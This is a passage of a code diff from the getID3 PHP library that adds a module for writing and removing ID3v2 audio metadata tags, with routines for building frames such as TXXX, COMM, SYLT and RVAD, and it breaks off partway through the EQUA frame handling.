$ID3v2ShortFrameNameLookup[4]['release_time'] = 'TDRL'; - $ID3v2ShortFrameNameLookup[4]['tagging_time'] = 'TDTG'; - $ID3v2ShortFrameNameLookup[4]['involved_people_list'] = 'TIPL'; - $ID3v2ShortFrameNameLookup[4]['musician_credits_list'] = 'TMCL'; - $ID3v2ShortFrameNameLookup[4]['mood'] = 'TMOO'; - $ID3v2ShortFrameNameLookup[4]['produced_notice'] = 'TPRO'; - $ID3v2ShortFrameNameLookup[4]['album_sort_order'] = 'TSOA'; - $ID3v2ShortFrameNameLookup[4]['performer_sort_order'] = 'TSOP'; - $ID3v2ShortFrameNameLookup[4]['title_sort_order'] = 'TSOT'; - $ID3v2ShortFrameNameLookup[4]['set_subtitle'] = 'TSST'; - $ID3v2ShortFrameNameLookup[4]['year'] = 'TDRC'; // subset of ISO 8601: valid timestamps are yyyy, yyyy-MM, yyyy-MM-dd, yyyy-MM-ddTHH, yyyy-MM-ddTHH:mm and yyyy-MM-ddTHH:mm:ss. All time stamps are UTC - } - return (isset($ID3v2ShortFrameNameLookup[$majorversion][strtolower($long_description)]) ? $ID3v2ShortFrameNameLookup[$majorversion][strtolower($long_description)] : ''); - - } - -} - + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +/// // +// write.id3v2.php // +// module for writing ID3v2 tags // +// dependencies: module.tag.id3v2.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true); + +class getid3_write_id3v2 +{ + /** + * @var string + */ + public $filename; + + /** + * @var array|null + */ + public $tag_data; + + /** + * Read buffer size in bytes. + * + * @var int + */ + public $fread_buffer_size = 32768; + + /** + * Minimum length of ID3v2 tag in bytes. + * + * @var int + */ + public $paddedlength = 4096; + + /** + * ID3v2 major version (2, 3 (recommended), 4). + * + * @var int + */ + public $majorversion = 3; + + /** + * ID3v2 minor version - always 0. + * + * @var int + */ + public $minorversion = 0; + + /** + * If true, merge new data with existing tags; if false, delete old tag data and only write new tags. + * + * @var bool + */ + public $merge_existing_data = false; + + /** + * Default text encoding (ISO-8859-1) if not explicitly passed. + * + * @var int + */ + public $id3v2_default_encodingid = 0; + + /** + * The specs say it should be TRUE, but most other ID3v2-aware programs are broken if unsynchronization is used, + * so by default don't use it. + * + * @var bool + */ + public $id3v2_use_unsynchronisation = false; + + /** + * Any non-critical errors will be stored here. + * + * @var array + */ + public $warnings = array(); + + /** + * Any critical errors will be stored here. + * + * @var array + */ + public $errors = array(); + + public function __construct() { + } + + /** + * @return bool + */ + public function WriteID3v2() { + // File MUST be writeable - CHMOD(646) at least. It's best if the + // directory is also writeable, because that method is both faster and less susceptible to errors. + + if (!empty($this->filename) && (getID3::is_writable($this->filename) || (!file_exists($this->filename) && getID3::is_writable(dirname($this->filename))))) { + // Initialize getID3 engine + $getID3 = new getID3; + $OldThisFileInfo = $getID3->analyze($this->filename); + if (!getid3_lib::intValueSupported($OldThisFileInfo['filesize'])) { + $this->errors[] = 'Unable to write ID3v2 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'; + return false; + } + if ($this->merge_existing_data) { + // merge with existing data + if (!empty($OldThisFileInfo['id3v2'])) { + $this->tag_data = $this->array_join_merge($OldThisFileInfo['id3v2'], $this->tag_data); + } + } + $this->paddedlength = (isset($OldThisFileInfo['id3v2']['headerlength']) ? max($OldThisFileInfo['id3v2']['headerlength'], $this->paddedlength) : $this->paddedlength); + + if ($NewID3v2Tag = $this->GenerateID3v2Tag()) { + + if (file_exists($this->filename) && getID3::is_writable($this->filename) && isset($OldThisFileInfo['id3v2']['headerlength']) && ($OldThisFileInfo['id3v2']['headerlength'] == strlen($NewID3v2Tag))) { + + // best and fastest method - insert-overwrite existing tag (padded to length of old tag if neccesary) + if (file_exists($this->filename)) { + + if (is_readable($this->filename) && getID3::is_writable($this->filename) && is_file($this->filename) && ($fp = fopen($this->filename, 'r+b'))) { + rewind($fp); + fwrite($fp, $NewID3v2Tag, strlen($NewID3v2Tag)); + fclose($fp); + } else { + $this->errors[] = 'Could not fopen("'.$this->filename.'", "r+b")'; + } + + } else { + + if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp = fopen($this->filename, 'wb'))) { + rewind($fp); + fwrite($fp, $NewID3v2Tag, strlen($NewID3v2Tag)); + fclose($fp); + } else { + $this->errors[] = 'Could not fopen("'.$this->filename.'", "wb")'; + } + + } + + } else { + + if ($tempfilename = tempnam(GETID3_TEMP_DIR, 'getID3')) { + if (is_readable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'rb'))) { + if (getID3::is_writable($tempfilename) && is_file($tempfilename) && ($fp_temp = fopen($tempfilename, 'wb'))) { + + fwrite($fp_temp, $NewID3v2Tag, strlen($NewID3v2Tag)); + + rewind($fp_source); + if (!empty($OldThisFileInfo['avdataoffset'])) { + fseek($fp_source, $OldThisFileInfo['avdataoffset']); + } + + while ($buffer = fread($fp_source, $this->fread_buffer_size)) { + fwrite($fp_temp, $buffer, strlen($buffer)); + } + + fclose($fp_temp); + fclose($fp_source); + copy($tempfilename, $this->filename); + unlink($tempfilename); + return true; + + } else { + $this->errors[] = 'Could not fopen("'.$tempfilename.'", "wb")'; + } + fclose($fp_source); + + } else { + $this->errors[] = 'Could not fopen("'.$this->filename.'", "rb")'; + } + } + return false; + + } + + } else { + + $this->errors[] = '$this->GenerateID3v2Tag() failed'; + + } + + if (!empty($this->errors)) { + return false; + } + return true; + } else { + $this->errors[] = 'WriteID3v2() failed: !is_writeable('.$this->filename.')'; + } + return false; + } + + /** + * @return bool + */ + public function RemoveID3v2() { + // File MUST be writeable - CHMOD(646) at least. It's best if the + // directory is also writeable, because that method is both faster and less susceptible to errors. + if (getID3::is_writable(dirname($this->filename))) { + + // preferred method - only one copying operation, minimal chance of corrupting + // original file if script is interrupted, but required directory to be writeable + if (is_readable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'rb'))) { + + // Initialize getID3 engine + $getID3 = new getID3; + $OldThisFileInfo = $getID3->analyze($this->filename); + if (!getid3_lib::intValueSupported($OldThisFileInfo['filesize'])) { + $this->errors[] = 'Unable to remove ID3v2 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'; + fclose($fp_source); + return false; + } + rewind($fp_source); + if ($OldThisFileInfo['avdataoffset'] !== false) { + fseek($fp_source, $OldThisFileInfo['avdataoffset']); + } + if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp_temp = fopen($this->filename.'getid3tmp', 'w+b'))) { + while ($buffer = fread($fp_source, $this->fread_buffer_size)) { + fwrite($fp_temp, $buffer, strlen($buffer)); + } + fclose($fp_temp); + } else { + $this->errors[] = 'Could not fopen("'.$this->filename.'getid3tmp", "w+b")'; + } + fclose($fp_source); + } else { + $this->errors[] = 'Could not fopen("'.$this->filename.'", "rb")'; + } + if (file_exists($this->filename)) { + unlink($this->filename); + } + rename($this->filename.'getid3tmp', $this->filename); + + } elseif (getID3::is_writable($this->filename)) { + + // less desirable alternate method - double-copies the file, overwrites original file + // and could corrupt source file if the script is interrupted or an error occurs. + if (is_readable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'rb'))) { + + // Initialize getID3 engine + $getID3 = new getID3; + $OldThisFileInfo = $getID3->analyze($this->filename); + if (!getid3_lib::intValueSupported($OldThisFileInfo['filesize'])) { + $this->errors[] = 'Unable to remove ID3v2 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'; + fclose($fp_source); + return false; + } + rewind($fp_source); + if ($OldThisFileInfo['avdataoffset'] !== false) { + fseek($fp_source, $OldThisFileInfo['avdataoffset']); + } + if ($fp_temp = tmpfile()) { + while ($buffer = fread($fp_source, $this->fread_buffer_size)) { + fwrite($fp_temp, $buffer, strlen($buffer)); + } + fclose($fp_source); + if (getID3::is_writable($this->filename) && is_file($this->filename) && ($fp_source = fopen($this->filename, 'wb'))) { + rewind($fp_temp); + while ($buffer = fread($fp_temp, $this->fread_buffer_size)) { + fwrite($fp_source, $buffer, strlen($buffer)); + } + fseek($fp_temp, -128, SEEK_END); + fclose($fp_source); + } else { + $this->errors[] = 'Could not fopen("'.$this->filename.'", "wb")'; + } + fclose($fp_temp); + } else { + $this->errors[] = 'Could not create tmpfile()'; + } + } else { + $this->errors[] = 'Could not fopen("'.$this->filename.'", "rb")'; + } + + } else { + + $this->errors[] = 'Directory and file both not writeable'; + + } + + if (!empty($this->errors)) { + return false; + } + return true; + } + + /** + * @param array $flags + * + * @return string|false + */ + public function GenerateID3v2TagFlags($flags) { + $flag = null; + switch ($this->majorversion) { + case 4: + // %abcd0000 + $flag = (!empty($flags['unsynchronisation']) ? '1' : '0'); // a - Unsynchronisation + $flag .= (!empty($flags['extendedheader'] ) ? '1' : '0'); // b - Extended header + $flag .= (!empty($flags['experimental'] ) ? '1' : '0'); // c - Experimental indicator + $flag .= (!empty($flags['footer'] ) ? '1' : '0'); // d - Footer present + $flag .= '0000'; + break; + + case 3: + // %abc00000 + $flag = (!empty($flags['unsynchronisation']) ? '1' : '0'); // a - Unsynchronisation + $flag .= (!empty($flags['extendedheader'] ) ? '1' : '0'); // b - Extended header + $flag .= (!empty($flags['experimental'] ) ? '1' : '0'); // c - Experimental indicator + $flag .= '00000'; + break; + + case 2: + // %ab000000 + $flag = (!empty($flags['unsynchronisation']) ? '1' : '0'); // a - Unsynchronisation + $flag .= (!empty($flags['compression'] ) ? '1' : '0'); // b - Compression + $flag .= '000000'; + break; + + default: + return false; + } + return chr(bindec($flag)); + } + + /** + * @param bool $TagAlter + * @param bool $FileAlter + * @param bool $ReadOnly + * @param bool $Compression + * @param bool $Encryption + * @param bool $GroupingIdentity + * @param bool $Unsynchronisation + * @param bool $DataLengthIndicator + * + * @return string|false + */ + public function GenerateID3v2FrameFlags($TagAlter=false, $FileAlter=false, $ReadOnly=false, $Compression=false, $Encryption=false, $GroupingIdentity=false, $Unsynchronisation=false, $DataLengthIndicator=false) { + $flag1 = null; + $flag2 = null; + switch ($this->majorversion) { + case 4: + // %0abc0000 %0h00kmnp + $flag1 = '0'; + $flag1 .= $TagAlter ? '1' : '0'; // a - Tag alter preservation (true == discard) + $flag1 .= $FileAlter ? '1' : '0'; // b - File alter preservation (true == discard) + $flag1 .= $ReadOnly ? '1' : '0'; // c - Read only (true == read only) + $flag1 .= '0000'; + + $flag2 = '0'; + $flag2 .= $GroupingIdentity ? '1' : '0'; // h - Grouping identity (true == contains group information) + $flag2 .= '00'; + $flag2 .= $Compression ? '1' : '0'; // k - Compression (true == compressed) + $flag2 .= $Encryption ? '1' : '0'; // m - Encryption (true == encrypted) + $flag2 .= $Unsynchronisation ? '1' : '0'; // n - Unsynchronisation (true == unsynchronised) + $flag2 .= $DataLengthIndicator ? '1' : '0'; // p - Data length indicator (true == data length indicator added) + break; + + case 3: + // %abc00000 %ijk00000 + $flag1 = $TagAlter ? '1' : '0'; // a - Tag alter preservation (true == discard) + $flag1 .= $FileAlter ? '1' : '0'; // b - File alter preservation (true == discard) + $flag1 .= $ReadOnly ? '1' : '0'; // c - Read only (true == read only) + $flag1 .= '00000'; + + $flag2 = $Compression ? '1' : '0'; // i - Compression (true == compressed) + $flag2 .= $Encryption ? '1' : '0'; // j - Encryption (true == encrypted) + $flag2 .= $GroupingIdentity ? '1' : '0'; // k - Grouping identity (true == contains group information) + $flag2 .= '00000'; + break; + + default: + return false; + + } + return chr(bindec($flag1)).chr(bindec($flag2)); + } + + /** + * @param string $frame_name + * @param array $source_data_array + * + * @return string|false + */ + public function GenerateID3v2FrameData($frame_name, $source_data_array) { + if (!getid3_id3v2::IsValidID3v2FrameName($frame_name, $this->majorversion)) { + return false; + } + $framedata = ''; + + if (($this->majorversion < 3) || ($this->majorversion > 4)) { + + $this->errors[] = 'Only ID3v2.3 and ID3v2.4 are supported in GenerateID3v2FrameData()'; + + } else { // $this->majorversion 3 or 4 + + switch ($frame_name) { + case 'UFID': + // 4.1 UFID Unique file identifier + // Owner identifier $00 + // Identifier + if (strlen($source_data_array['data']) > 64) { + $this->errors[] = 'Identifier not allowed to be longer than 64 bytes in '.$frame_name.' (supplied data was '.strlen($source_data_array['data']).' bytes long)'; + } else { + $framedata .= str_replace("\x00", '', $source_data_array['ownerid'])."\x00"; + $framedata .= substr($source_data_array['data'], 0, 64); // max 64 bytes - truncate anything longer + } + break; + + case 'TXXX': + // 4.2.2 TXXX User defined text information frame + // Text encoding $xx + // Description $00 (00) + // Value + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + $framedata .= $source_data_array['data']; + } + break; + + case 'WXXX': + // 4.3.2 WXXX User defined URL link frame + // Text encoding $xx + // Description $00 (00) + // URL + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; + } elseif (!isset($source_data_array['data']) || !$this->IsValidURL($source_data_array['data'], false)) { + //$this->errors[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; + // probably should be an error, need to rewrite IsValidURL() to handle other encodings + $this->warnings[] = 'Invalid URL in '.$frame_name.' ('.$source_data_array['data'].')'; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + $framedata .= $source_data_array['data']; + } + break; + + case 'IPLS': + // 4.4 IPLS Involved people list (ID3v2.3 only) + // Text encoding $xx + // People list strings + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= $source_data_array['data']; + } + break; + + case 'MCDI': + // 4.4 MCDI Music CD identifier + // CD TOC + $framedata .= $source_data_array['data']; + break; + + case 'ETCO': + // 4.5 ETCO Event timing codes + // Time stamp format $xx + // Where time stamp format is: + // $01 (32-bit value) MPEG frames from beginning of file + // $02 (32-bit value) milliseconds from beginning of file + // Followed by a list of key events in the following format: + // Type of event $xx + // Time stamp $xx (xx ...) + // The 'Time stamp' is set to zero if directly at the beginning of the sound + // or after the previous event. All events MUST be sorted in chronological order. + if (($source_data_array['timestampformat'] > 2) || ($source_data_array['timestampformat'] < 1)) { + $this->errors[] = 'Invalid Time Stamp Format byte in '.$frame_name.' ('.$source_data_array['timestampformat'].')'; + } else { + $framedata .= chr($source_data_array['timestampformat']); + foreach ($source_data_array as $key => $val) { + if (!$this->ID3v2IsValidETCOevent($val['typeid'])) { + $this->errors[] = 'Invalid Event Type byte in '.$frame_name.' ('.$val['typeid'].')'; + } elseif (($key != 'timestampformat') && ($key != 'flags')) { + if (($val['timestamp'] > 0) && isset($previousETCOtimestamp) && ($previousETCOtimestamp >= $val['timestamp'])) { + // The 'Time stamp' is set to zero if directly at the beginning of the sound + // or after the previous event. All events MUST be sorted in chronological order. + $this->errors[] = 'Out-of-order timestamp in '.$frame_name.' ('.$val['timestamp'].') for Event Type ('.$val['typeid'].')'; + } else { + $framedata .= chr($val['typeid']); + $framedata .= getid3_lib::BigEndian2String($val['timestamp'], 4, false); + $previousETCOtimestamp = $val['timestamp']; + } + } + } + } + break; + + case 'MLLT': + // 4.6 MLLT MPEG location lookup table + // MPEG frames between reference $xx xx + // Bytes between reference $xx xx xx + // Milliseconds between reference $xx xx xx + // Bits for bytes deviation $xx + // Bits for milliseconds dev. $xx + // Then for every reference the following data is included; + // Deviation in bytes %xxx.... + // Deviation in milliseconds %xxx.... + if (($source_data_array['framesbetweenreferences'] > 0) && ($source_data_array['framesbetweenreferences'] <= 65535)) { + $framedata .= getid3_lib::BigEndian2String($source_data_array['framesbetweenreferences'], 2, false); + } else { + $this->errors[] = 'Invalid MPEG Frames Between References in '.$frame_name.' ('.$source_data_array['framesbetweenreferences'].')'; + } + if (($source_data_array['bytesbetweenreferences'] > 0) && ($source_data_array['bytesbetweenreferences'] <= 16777215)) { + $framedata .= getid3_lib::BigEndian2String($source_data_array['bytesbetweenreferences'], 3, false); + } else { + $this->errors[] = 'Invalid bytes Between References in '.$frame_name.' ('.$source_data_array['bytesbetweenreferences'].')'; + } + if (($source_data_array['msbetweenreferences'] > 0) && ($source_data_array['msbetweenreferences'] <= 16777215)) { + $framedata .= getid3_lib::BigEndian2String($source_data_array['msbetweenreferences'], 3, false); + } else { + $this->errors[] = 'Invalid Milliseconds Between References in '.$frame_name.' ('.$source_data_array['msbetweenreferences'].')'; + } + if (!$this->IsWithinBitRange($source_data_array['bitsforbytesdeviation'], 8, false)) { + if (($source_data_array['bitsforbytesdeviation'] % 4) == 0) { + $framedata .= chr($source_data_array['bitsforbytesdeviation']); + } else { + $this->errors[] = 'Bits For Bytes Deviation in '.$frame_name.' ('.$source_data_array['bitsforbytesdeviation'].') must be a multiple of 4.'; + } + } else { + $this->errors[] = 'Invalid Bits For Bytes Deviation in '.$frame_name.' ('.$source_data_array['bitsforbytesdeviation'].')'; + } + if (!$this->IsWithinBitRange($source_data_array['bitsformsdeviation'], 8, false)) { + if (($source_data_array['bitsformsdeviation'] % 4) == 0) { + $framedata .= chr($source_data_array['bitsformsdeviation']); + } else { + $this->errors[] = 'Bits For Milliseconds Deviation in '.$frame_name.' ('.$source_data_array['bitsforbytesdeviation'].') must be a multiple of 4.'; + } + } else { + $this->errors[] = 'Invalid Bits For Milliseconds Deviation in '.$frame_name.' ('.$source_data_array['bitsformsdeviation'].')'; + } + $unwrittenbitstream = ''; + foreach ($source_data_array as $key => $val) { + if (($key != 'framesbetweenreferences') && ($key != 'bytesbetweenreferences') && ($key != 'msbetweenreferences') && ($key != 'bitsforbytesdeviation') && ($key != 'bitsformsdeviation') && ($key != 'flags')) { + $unwrittenbitstream .= str_pad(getid3_lib::Dec2Bin($val['bytedeviation']), $source_data_array['bitsforbytesdeviation'], '0', STR_PAD_LEFT); + $unwrittenbitstream .= str_pad(getid3_lib::Dec2Bin($val['msdeviation']), $source_data_array['bitsformsdeviation'], '0', STR_PAD_LEFT); + } + } + for ($i = 0; $i < strlen($unwrittenbitstream); $i += 8) { + $highnibble = bindec(substr($unwrittenbitstream, $i, 4)) << 4; + $lownibble = bindec(substr($unwrittenbitstream, $i + 4, 4)); + $framedata .= chr($highnibble & $lownibble); + } + break; + + case 'SYTC': + // 4.7 SYTC Synchronised tempo codes + // Time stamp format $xx + // Tempo data + // Where time stamp format is: + // $01 (32-bit value) MPEG frames from beginning of file + // $02 (32-bit value) milliseconds from beginning of file + if (($source_data_array['timestampformat'] > 2) || ($source_data_array['timestampformat'] < 1)) { + $this->errors[] = 'Invalid Time Stamp Format byte in '.$frame_name.' ('.$source_data_array['timestampformat'].')'; + } else { + $framedata .= chr($source_data_array['timestampformat']); + foreach ($source_data_array as $key => $val) { + if (!$this->ID3v2IsValidETCOevent($val['typeid'])) { + $this->errors[] = 'Invalid Event Type byte in '.$frame_name.' ('.$val['typeid'].')'; + } elseif (($key != 'timestampformat') && ($key != 'flags')) { + if (($val['tempo'] < 0) || ($val['tempo'] > 510)) { + $this->errors[] = 'Invalid Tempo (max = 510) in '.$frame_name.' ('.$val['tempo'].') at timestamp ('.$val['timestamp'].')'; + } else { + if ($val['tempo'] > 255) { + $framedata .= chr(255); + $val['tempo'] -= 255; + } + $framedata .= chr($val['tempo']); + $framedata .= getid3_lib::BigEndian2String($val['timestamp'], 4, false); + } + } + } + } + break; + + case 'USLT': + // 4.8 USLT Unsynchronised lyric/text transcription + // Text encoding $xx + // Language $xx xx xx + // Content descriptor $00 (00) + // Lyrics/text + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; + } elseif (getid3_id3v2::LanguageLookup($source_data_array['language'], true) == '') { + $this->errors[] = 'Invalid Language in '.$frame_name.' ('.$source_data_array['language'].')'; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= strtolower($source_data_array['language']); + $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + $framedata .= $source_data_array['data']; + } + break; + + case 'SYLT': + // 4.9 SYLT Synchronised lyric/text + // Text encoding $xx + // Language $xx xx xx + // Time stamp format $xx + // $01 (32-bit value) MPEG frames from beginning of file + // $02 (32-bit value) milliseconds from beginning of file + // Content type $xx + // Content descriptor $00 (00) + // Terminated text to be synced (typically a syllable) + // Sync identifier (terminator to above string) $00 (00) + // Time stamp $xx (xx ...) + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; + } elseif (getid3_id3v2::LanguageLookup($source_data_array['language'], true) == '') { + $this->errors[] = 'Invalid Language in '.$frame_name.' ('.$source_data_array['language'].')'; + } elseif (($source_data_array['timestampformat'] > 2) || ($source_data_array['timestampformat'] < 1)) { + $this->errors[] = 'Invalid Time Stamp Format byte in '.$frame_name.' ('.$source_data_array['timestampformat'].')'; + } elseif (!$this->ID3v2IsValidSYLTtype($source_data_array['contenttypeid'])) { + $this->errors[] = 'Invalid Content Type byte in '.$frame_name.' ('.$source_data_array['contenttypeid'].')'; + } elseif (!is_array($source_data_array['data'])) { + $this->errors[] = 'Invalid Lyric/Timestamp data in '.$frame_name.' (must be an array)'; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= strtolower($source_data_array['language']); + $framedata .= chr($source_data_array['timestampformat']); + $framedata .= chr($source_data_array['contenttypeid']); + $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + ksort($source_data_array['data']); + foreach ($source_data_array['data'] as $key => $val) { + $framedata .= $val['data'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + $framedata .= getid3_lib::BigEndian2String($val['timestamp'], 4, false); + } + } + break; + + case 'COMM': + // 4.10 COMM Comments + // Text encoding $xx + // Language $xx xx xx + // Short content descrip. $00 (00) + // The actual text + $source_data_array['encodingid'] = (isset($source_data_array['encodingid']) ? $source_data_array['encodingid'] : $this->id3v2_default_encodingid); + if (!$this->ID3v2IsValidTextEncoding($source_data_array['encodingid'])) { + $this->errors[] = 'Invalid Text Encoding in '.$frame_name.' ('.$source_data_array['encodingid'].') for ID3v2.'.$this->majorversion; + } elseif (getid3_id3v2::LanguageLookup($source_data_array['language'], true) == '') { + $this->errors[] = 'Invalid Language in '.$frame_name.' ('.$source_data_array['language'].')'; + } else { + $framedata .= chr($source_data_array['encodingid']); + $framedata .= strtolower($source_data_array['language']); + $framedata .= $source_data_array['description'].getid3_id3v2::TextEncodingTerminatorLookup($source_data_array['encodingid']); + $framedata .= $source_data_array['data']; + } + break; + + case 'RVA2': + // 4.11 RVA2 Relative volume adjustment (2) (ID3v2.4+ only) + // Identification $00 + // The 'identification' string is used to identify the situation and/or + // device where this adjustment should apply. The following is then + // repeated for every channel: + // Type of channel $xx + // Volume adjustment $xx xx + // Bits representing peak $xx + // Peak volume $xx (xx ...) + $framedata .= str_replace("\x00", '', $source_data_array['description'])."\x00"; + foreach ($source_data_array as $key => $val) { + if ($key != 'description') { + $framedata .= chr($val['channeltypeid']); + $framedata .= getid3_lib::BigEndian2String($val['volumeadjust'], 2, false, true); // signed 16-bit + if (!$this->IsWithinBitRange($source_data_array['bitspeakvolume'], 8, false)) { + $framedata .= chr($val['bitspeakvolume']); + if ($val['bitspeakvolume'] > 0) { + $framedata .= getid3_lib::BigEndian2String($val['peakvolume'], ceil($val['bitspeakvolume'] / 8), false, false); + } + } else { + $this->errors[] = 'Invalid Bits Representing Peak Volume in '.$frame_name.' ('.$val['bitspeakvolume'].') (range = 0 to 255)'; + } + } + } + break; + + case 'RVAD': + // 4.12 RVAD Relative volume adjustment (ID3v2.3 only) + // Increment/decrement %00fedcba + // Bits used for volume descr. $xx + // Relative volume change, right $xx xx (xx ...) // a + // Relative volume change, left $xx xx (xx ...) // b + // Peak volume right $xx xx (xx ...) + // Peak volume left $xx xx (xx ...) + // Relative volume change, right back $xx xx (xx ...) // c + // Relative volume change, left back $xx xx (xx ...) // d + // Peak volume right back $xx xx (xx ...) + // Peak volume left back $xx xx (xx ...) + // Relative volume change, center $xx xx (xx ...) // e + // Peak volume center $xx xx (xx ...) + // Relative volume change, bass $xx xx (xx ...) // f + // Peak volume bass $xx xx (xx ...) + if (!$this->IsWithinBitRange($source_data_array['bitsvolume'], 8, false)) { + $this->errors[] = 'Invalid Bits For Volume Description byte in '.$frame_name.' ('.$source_data_array['bitsvolume'].') (range = 1 to 255)'; + } else { + $incdecflag = '00'; + $incdecflag .= $source_data_array['incdec']['right'] ? '1' : '0'; // a - Relative volume change, right + $incdecflag .= $source_data_array['incdec']['left'] ? '1' : '0'; // b - Relative volume change, left + $incdecflag .= $source_data_array['incdec']['rightrear'] ? '1' : '0'; // c - Relative volume change, right back + $incdecflag .= $source_data_array['incdec']['leftrear'] ? '1' : '0'; // d - Relative volume change, left back + $incdecflag .= $source_data_array['incdec']['center'] ? '1' : '0'; // e - Relative volume change, center + $incdecflag .= $source_data_array['incdec']['bass'] ? '1' : '0'; // f - Relative volume change, bass + $framedata .= chr(bindec($incdecflag)); + $framedata .= chr($source_data_array['bitsvolume']); + $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['right'], ceil($source_data_array['bitsvolume'] / 8), false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['left'], ceil($source_data_array['bitsvolume'] / 8), false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['right'], ceil($source_data_array['bitsvolume'] / 8), false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['left'], ceil($source_data_array['bitsvolume'] / 8), false); + if ($source_data_array['volumechange']['rightrear'] || $source_data_array['volumechange']['leftrear'] || + $source_data_array['peakvolume']['rightrear'] || $source_data_array['peakvolume']['leftrear'] || + $source_data_array['volumechange']['center'] || $source_data_array['peakvolume']['center'] || + $source_data_array['volumechange']['bass'] || $source_data_array['peakvolume']['bass']) { + $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['rightrear'], ceil($source_data_array['bitsvolume']/8), false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['leftrear'], ceil($source_data_array['bitsvolume']/8), false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['rightrear'], ceil($source_data_array['bitsvolume']/8), false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['leftrear'], ceil($source_data_array['bitsvolume']/8), false); + } + if ($source_data_array['volumechange']['center'] || $source_data_array['peakvolume']['center'] || + $source_data_array['volumechange']['bass'] || $source_data_array['peakvolume']['bass']) { + $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['center'], ceil($source_data_array['bitsvolume']/8), false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['center'], ceil($source_data_array['bitsvolume']/8), false); + } + if ($source_data_array['volumechange']['bass'] || $source_data_array['peakvolume']['bass']) { + $framedata .= getid3_lib::BigEndian2String($source_data_array['volumechange']['bass'], ceil($source_data_array['bitsvolume']/8), false); + $framedata .= getid3_lib::BigEndian2String($source_data_array['peakvolume']['bass'], ceil($source_data_array['bitsvolume']/8), false); + } + } + break; + + case 'EQU2': + // 4.12 EQU2 Equalisation (2) (ID3v2.4+ only) + // Interpolation method $xx + // $00 Band + // $01 Linear + // Identification $00 + // The following is then repeated for every adjustment point + // Frequency $xx xx + // Volume adjustment $xx xx + if (($source_data_array['interpolationmethod'] < 0) || ($source_data_array['interpolationmethod'] > 1)) { + $this->errors[] = 'Invalid Interpolation Method byte in '.$frame_name.' ('.$source_data_array['interpolationmethod'].') (valid = 0 or 1)'; + } else { + $framedata .= chr($source_data_array['interpolationmethod']); + $framedata .= str_replace("\x00", '', $source_data_array['description'])."\x00"; + foreach ($source_data_array['data'] as $key => $val) { + $framedata .= getid3_lib::BigEndian2String(intval(round($key * 2)), 2, false); + $framedata .= getid3_lib::BigEndian2String($val, 2, false, true); // signed 16-bit + } + } + break; + + case 'EQUA': + // 4.12 EQUA Equalisation (ID3v2.3 only) + // Adjustment bits $xx + // This is followed by 2 bytes + ('adjustment bits' rounded up to the + // nearest byte) for every equalisation band in the following format, + // giving a frequency range of 0 - 32767Hz: + // Increment/decrement %x (MSB of the Frequency) + // Frequency (lower 15 bits) + 